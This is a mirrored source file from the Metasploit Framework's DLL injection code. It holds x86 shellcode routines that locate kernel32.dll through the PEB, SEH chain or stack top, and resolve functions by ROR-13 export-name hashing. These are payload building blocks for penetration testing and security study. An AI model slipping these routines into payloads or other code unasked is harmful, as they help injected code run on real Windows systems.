CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/dllinject/generic.c
Views: 11765
1
/*
2
* Overview
3
*
4
* 1) Finding kernel32.dll base address VMA
5
* 2) Finding functions in dynamic libraries.
6
*
7
* Method Selection
8
*
9
* To use the PEB technique : -D USE_KERNEL32_METHOD_PEB (default)
10
* To use the SEH technique : -D USE_KERNEL32_METHOD_SEH
11
* To use the TOPSTACK technique: -D USE_KERNEL32_METHOD_TOPSTACK
12
*
13
* To use Windows NT-based only : -D USE_WINNT_ONLY
14
* To eliminate register saves : -D DISABLE_REGISTER_SAVES
15
* To use inline ; -D USE_INLINE
16
* To resolve a singular hash : -D USE_SINGULAR_HASH
17
*
18
* Notes
19
*
20
* Each of these methods are not guaranteed to work. The PEB technique
21
* is definitely the most likely to work. The only time it would fail
22
* is if someone is intentionally trying to break shellcode that uses it
23
* or Microsoft changes something. The SEH is the second most likely,
24
* however, it will fail under scenarios where the last handler does not
25
* point into kernel32. The TOPSTACK technique can fail if under some
26
* circumstance the 0x1c offset into the stack does not contain a pointer
27
* into kernel32. I know of no scenarios where this happens, but it is,
28
* in theory, possible. Lastly, both the SEH and TOPSTACK methods will
29
* fail if the characters 'MZ' exist at the base of a 64k aligned page
30
* boundary that does not actually denote the base of the image.
31
*
32
* Optimizations
33
*
34
* These functions preserve registers as much as possible so that they
35
* can be plugged in easily. If you need to reduce the size you can
36
* remove some of the register saving instructions. In some cases this
37
* can save as many as 4 bytes.
38
*
39
* Credits
40
*
41
* 1) Dino Dai Zovi's PEB resolution and function resolution techniques
42
* 2) Skywing@freenode and vizzini@freenode for ideas and optimizations
43
* on the SEH technique
44
* 3) optyx for optimizing with me on the top stack technique
45
*
46
* This file is generally meant to be included in other files.
47
*
48
* skape
49
* [email protected]
50
*/
51
52
#ifdef DEBUG
53
int main()
54
{
55
#endif
56
57
#ifdef USE_ASM_BLOCK
58
__asm
59
{
60
#endif
61
62
#if defined(USE_KERNEL32_METHOD_SEH)
63
64
/*
65
* find_kernel32 -- SEH
66
*
67
* size : 33 bytes
68
* method : Walk the list of SEH handlers until we find the last one.
69
* From there we walk down in 64k blocks until we hit the top of
70
* kernel32.
71
* targets : 95/98/ME/NT/2K/XP
72
* arguments: none
73
* return : eax (kernel32.dll base address)
74
* clobbers : eax
75
*/
76
find_kernel32:
77
#ifndef DISABLE_REGISTER_SAVES
78
push esi // Save esi
79
push ecx // Save ecx
80
#endif
81
xor ecx, ecx // Zero ecx
82
mov esi, fs:[ecx] // Snag our SEH entry
83
not ecx // Set ecx to 0xffffffff
84
find_kernel32_seh_loop:
85
lodsd // Load the memory in esi into eax
86
mov esi, eax // Use this eax as our next pointer for esi
87
cmp [eax], ecx // Is the next-handler set to 0xffffffff?
88
jne find_kernel32_seh_loop // Nope, keep going. Otherwise, fall through.
89
find_kernel32_seh_loop_done:
90
mov eax, [eax + 0x04] // Snag the function handler address in eax
91
92
find_kernel32_base:
93
find_kernel32_base_loop:
94
dec eax // Subtract to our next page
95
xor ax, ax // Zero the lower half
96
cmp word ptr [eax], 0x5a4d // Is this the top of kernel32?
97
jne find_kernel32_base_loop // Nope? Try again.
98
find_kernel32_base_finished:
99
#ifndef DISABLE_REGISTER_SAVES
100
pop ecx // Restore ecx
101
pop esi // Restore esi
102
#endif
103
#ifndef USE_INLINE
104
ret // Return
105
#endif
106
107
#elif defined(USE_KERNEL32_METHOD_TOPSTACK)
108
109
/*
110
* find_kernel32 -- top stack
111
*
112
* size : 25 bytes
113
* method : Extract the top of the stack from the TEB.
114
* 0x1c bytes into the stack should hold a vma
115
* that is inside kernel32.dll. Grab it and
116
* walk down in 64k chunks until we hit the top
117
* of kernel32.dll.
118
* targets : NT/2K/XP
119
* arguments: none
120
* return : eax (kernel32.dll base address)
121
* clobbers : eax
122
*/
123
find_kernel32:
124
#ifndef DISABLE_REGISTER_SAVES
125
push esi // Save esi
126
#endif
127
xor esi, esi // Zero esi
128
mov esi, fs:[esi + 0x18] // Extract TEB
129
lodsd // Grab a pointer we don't need
130
lodsd // Grab the top of the stack for this thread
131
mov eax, [eax - 0x1c] // Snag a function pointer that's 0x1c bytes into the stack
132
133
find_kernel32_base:
134
find_kernel32_base_loop:
135
dec eax // Subtract to our next page
136
xor ax, ax // Zero the lower half
137
cmp word ptr [eax], 0x5a4d // Is this the top of kernel32?
138
jne find_kernel32_base_loop // Nope? Try again.
139
find_kernel32_base_finished:
140
#ifndef DISABLE_REGISTER_SAVES
141
pop esi // Restore esi
142
#endif
143
#ifndef USE_INLINE
144
ret // Return
145
#endif
146
147
#else // Default method
148
149
/*
150
* find_kernel32 -- PEB
151
*
152
* size : 34 bytes
153
* method : Lookup the PEB and walk one node back in the loaded
154
* module list. Extract the base address from this entry.
155
* It should point to kernel32.dll.
156
* targets : 95/98/ME/NT/2K/XP
157
* arguments: none
158
* return : eax (kernel32.dll base address)
159
* clobbers : eax
160
*/
161
find_kernel32:
162
#ifndef DISABLE_REGISTER_SAVES
163
push esi // Save esi
164
#endif
165
xor eax, eax
166
mov eax, fs:[eax+0x30] // Extract the PEB
167
#ifndef USE_WINNT_ONLY
168
test eax, eax // Check for Windows 9x
169
js find_kernel32_9x // If signed short, jump to windows 9x lookup
170
#endif
171
find_kernel32_nt:
172
mov eax, [eax + 0x0c] // Extract the PROCESS_MODULE_INFO pointer from the PEB
173
mov esi, [eax + 0x1c] // Get the address of flink in the init module list
174
lodsd // Load the address of blink into eax
175
mov eax, [eax + 0x8] // Grab the module base address from the list entry
176
#ifndef USE_WINNT_ONLY
177
jmp find_kernel32_finished // Fall down to the bottom
178
find_kernel32_9x:
179
mov eax, [eax + 0x34] // Undocumented offset (0x34)
180
lea eax, [eax + 0x7c] // Load the address of eax+0x7c to keep us in signed byte range
181
mov eax, [eax + 0x3c] // Undocumented offset (0xb8)
182
find_kernel32_finished:
183
#endif
184
#ifndef DISABLE_REGISTER_SAVES
185
pop esi // Restore esi
186
#endif
187
#ifndef USE_INLINE
188
ret // Return
189
#endif
190
191
#endif
192
193
/*
194
* find_function
195
*
196
* method : Walks the export list of the given image
197
* until it finds a symbol whose hashed name
198
* matches the one that was passed in.
199
* targets : 95/98/ME/NT/2K/XP
200
* arguments: [esp + 0x24] (library base address)
201
* [esp + 0x28] (function hash)
202
* return : eax (resultant function address)
203
* clobbers : eax
204
*/
205
find_function:
206
#ifndef DISABLE_REGISTER_SAVES
207
pushad // Save all registers
208
#ifdef USE_INLINE
209
mov ebp, eax // Take the base address of kernel32 and put it in ebp
210
#else
211
mov ebp, [esp + 0x24] // Store the base address in eax
212
#endif
213
#else
214
#ifdef USE_INLINE
215
mov ebp, eax // Take the base address of kernel32 and put it in ebp
216
#else
217
mov ebp, [esp + 0x4] // Store the base address in eax if non-inline
218
#endif
219
#endif
220
mov eax, [ebp + 0x3c] // PE header VMA
221
mov edx, [ebp + eax + 0x78] // Export table relative offset
222
add edx, ebp // Export table VMA
223
mov ecx, [edx + 0x18] // Number of names
224
mov ebx, [edx + 0x20] // Names table relative offset
225
add ebx, ebp // Names table VMA
226
find_function_loop:
227
jecxz find_function_finished // Jump to the end if ecx is 0
228
dec ecx // Decrement our names counter
229
mov esi, [ebx + ecx * 4] // Store the relative offset of the name
230
add esi, ebp // Set esi to the VMA of the current name
231
compute_hash:
232
xor edi, edi // Zero edi
233
xor eax, eax // Zero eax
234
cld // Clear direction
235
compute_hash_again:
236
lodsb // Load the next byte from esi into al
237
test al, al // Test ourselves.
238
jz compute_hash_finished // If the ZF is set, we've hit the null term.
239
ror edi, 0xd // Rotate edi 13 bits to the right
240
add edi, eax // Add the new byte to the accumulator
241
jmp compute_hash_again // Next iteration
242
compute_hash_finished:
243
find_function_compare:
244
#ifdef USE_INLINE
245
#ifdef USE_SINGULAR_HASH
246
cmp edi, USE_SINGULAR_HASH // Compare it to a specific hash
247
#else
248
cmp edi, [esp + 0x8] // Compare the computed hash with the requested hash
249
#endif
250
#else
251
#ifdef USE_SINGULAR_HASH
252
cmp edi, USE_SINGULAR_HASH // Compare it to a specific hash
253
#else
254
cmp edi, [esp + 0x28] // Compare the computed hash with the requested hash
255
#endif
256
#endif
257
jnz find_function_loop // No match, try the next one.
258
mov ebx, [edx + 0x24] // Ordinals table relative offset
259
add ebx, ebp // Ordinals table VMA
260
mov cx, [ebx + 2 * ecx] // Extrapolate the function's ordinal
261
mov ebx, [edx + 0x1c] // Address table relative offset
262
add ebx, ebp // Address table VMA
263
mov eax, [ebx + 4 * ecx] // Extract the relative function offset from its ordinal
264
add eax, ebp // Function VMA
265
#ifndef DISABLE_REGISTER_SAVES
266
mov [esp + 0x1c], eax // Overwrite stack version of eax from pushad
267
find_function_finished:
268
popad // Restore all registers
269
#else
270
find_function_finished:
271
#endif
272
#ifndef USE_INLINE
273
ret // Return
274
#endif
275
276
#ifdef USE_ASM_BLOCK
277
}
278
#endif
279
280
#ifdef DEBUG
281
}
282
#endif
283
284